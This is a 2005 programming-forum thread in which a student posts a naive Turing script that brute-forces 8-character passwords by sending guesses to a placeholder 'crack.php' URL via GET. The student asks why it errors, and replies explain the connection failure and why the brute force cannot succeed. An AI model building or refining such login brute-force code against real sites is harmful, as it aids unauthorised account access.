Programming C, C++, Java, PHP, Ruby, Turing, VB
Computer Science Canada 
Programming C, C++, Java, PHP, Ruby, Turing, VB  

Username:   Password: 
 RegisterRegister   
 How come I get this error?
Index -> Programming, Turing -> Turing Help
Goto page 1, 2  Next
View previous topic Printable versionDownload TopicSubscribe to this topicPrivate MessagesRefresh page View next topic
Author Message
Ambiguities




PostPosted: Thu Dec 15, 2005 10:54 pm   Post subject: How come I get this error?

How come this errors?:

code:

var password := "whatever"
var exityes : int
var passtry : string
var try : array 1 .. 62 of string := init ("1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F", "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L", "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R", "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X", "y", "Y", "z", "Z")
exityes := 0
for t1 : 1 .. 62
    locate (1, 1)
    put try (t1)
    for t2 : 1 .. 62
        locate (1, 2)
        put try (t2)
        for t3 : 1 .. 62
            locate (1, 3)
            put try (t3)
            for t4 : 1 .. 62
                locate (1, 4)
                put try (t4)
                for t5 : 1 .. 62
                    locate (1, 5)
                    put try (t5)
                    for t6 : 1 .. 62
                        locate (1, 6)
                        put try (t6)
                        for t7 : 1 .. 62
                            locate (1, 7)
                            put try (t7)
                            for t8 : 1 .. 62
                                locate (1, 8)
                                put try (t8)
                                passtry := try (t1) + try (t2) + try (t3) + try (t4) + try (t5) + try (t6) + try (t7) + try (t8)
                                var netStream : int
                                var line : string
                               
                                loop
                                    netStream := Net.OpenURLConnection ("http://whateverurl/crack.php?var=" + passtry)
                                    get : netStream, line
                                    if line = password then
                                    exityes := 1
                                    end if
                                    exit
                                end loop
                                if exityes = 1 then
                                    exit
                                end if
                            end for
                            if exityes = 1 then
                                exit
                            end if
                        end for
                        if exityes = 1 then
                            exit
                        end if
                    end for
                    if exityes = 1 then
                        exit
                    end if
                end for
                if exityes = 1 then
                    exit
                end if
            end for
            if exityes = 1 then
                exit
            end if
        end for
        if exityes = 1 then
            exit
        end if
    end for
    if exityes = 1 then
        exit
    end if
end for
put "Successful!!!!"




Everytime i run it it reaches 1111111k and then gives the error:

Get attempted on incompatible stream number 0.


how come?
Sponsor
Sponsor
Sponsor
sponsor
Geminias




PostPosted: Thu Dec 15, 2005 11:05 pm   Post subject: (No subject)

if you had error checking after netStream := net.openurlconnection you would realize that net.openurlconnection is failing, thus returning a value of -10.
Ambiguities




PostPosted: Thu Dec 15, 2005 11:08 pm   Post subject: (No subject)

why is it failing though that is my question.
Geminias




PostPosted: Thu Dec 15, 2005 11:11 pm   Post subject: (No subject)

actually i'm not a turing champion so i can't tell you how to fix this, also i think my turing is gay or something because whenever i use "google.ca" it crashes turing completely. Anyone know why my turing would do this? its version 4.03
Geminias




PostPosted: Thu Dec 15, 2005 11:13 pm   Post subject: (No subject)

few possible reasons.. firewall is blocking the request for packets from the url. the url is non-existent. turing is gay.
Ambiguities




PostPosted: Thu Dec 15, 2005 11:22 pm   Post subject: (No subject)

i tried turning off all the firewalls so that is not the issue...
[Gandalf]




PostPosted: Fri Dec 16, 2005 1:36 am   Post subject: (No subject)

That's some program you have there...

You shouldn't even be thinking about using the NET module if your program has so many if and for statements. Dang, there is something called "elsif". And your for loops...

The horrid structure of your program looks like the cause of your problem. I have never seen more than 6 or so nested 'levels' of a program, at least this size. Look at some of the other examples in the forum for a better idea.

I'm sorry I can't be of more help, but your code is hard to debug.
Geminias




PostPosted: Fri Dec 16, 2005 10:54 am   Post subject: (No subject)

yeah, i meant to say something about that also. You're code is 100% flawed. I mean, if you want help you have to conform to the standard so that it is possible for people to help you.

If your a genious you can code however you want, and never ask for help.
Sponsor
Sponsor
Sponsor
sponsor
Tony




PostPosted: Fri Dec 16, 2005 10:59 am   Post subject: (No subject)

The idea is flawed flawed flawed

Because a) that's 62^8 combinations you're trying to go through
and b) passwords are taken from POST, but you're trying to feed them through GET.

Your bruteforce will not work.
Latest from compsci.ca/blog: Tony's programming blog. DWITE - a programming contest.
Geminias




PostPosted: Fri Dec 16, 2005 2:21 pm   Post subject: (No subject)

it depends which website you are bruting though. Some, (insecure) will use GET. Since its a turing project, its best to nail down the logic at least aside from all the technical stuff.. but this program doesn't even have the logic Confused
Ambiguities




PostPosted: Fri Dec 16, 2005 9:43 pm   Post subject: (No subject)

my teacher is to much of an iddiot to teach us how to properly code so don't make me feel like such an iddiot. atleast im trying
[Gandalf]




PostPosted: Sat Dec 17, 2005 1:59 pm   Post subject: (No subject)

Then learn from the [Turing Tutorials] section, especially following the order of the [Turing Walkthrough].
codemage




PostPosted: Mon Dec 19, 2005 1:11 pm   Post subject: (No subject)

It's amazing how many people blame the language (usually Turing) when their code is incorrect. It might help to blame some other unrelated pieces of hardware as well.

Give your monitor a good smack when you get errors. That'll set the dumb screen straight for not running things properly. Wink
[Gandalf]




PostPosted: Mon Dec 19, 2005 4:37 pm   Post subject: (No subject)

Hehe. It helps if people understand that Turing is a sort of basic programming language, not a program. In a program you can almost always blame the software, in a programming langauge more often than not it is you who are making the mistake.
Albrecd




PostPosted: Mon Dec 19, 2005 6:06 pm   Post subject: (No subject)

But turing does have several "bugs."
Display posts from previous:   
   Index -> Programming, Turing -> Turing Help
View previous topic Tell A FriendPrintable versionDownload TopicSubscribe to this topicPrivate MessagesRefresh page View next topic

Page 1 of 2  [ 17 Posts ]
Goto page 1, 2  Next
Jump to:   


Style:  
Search: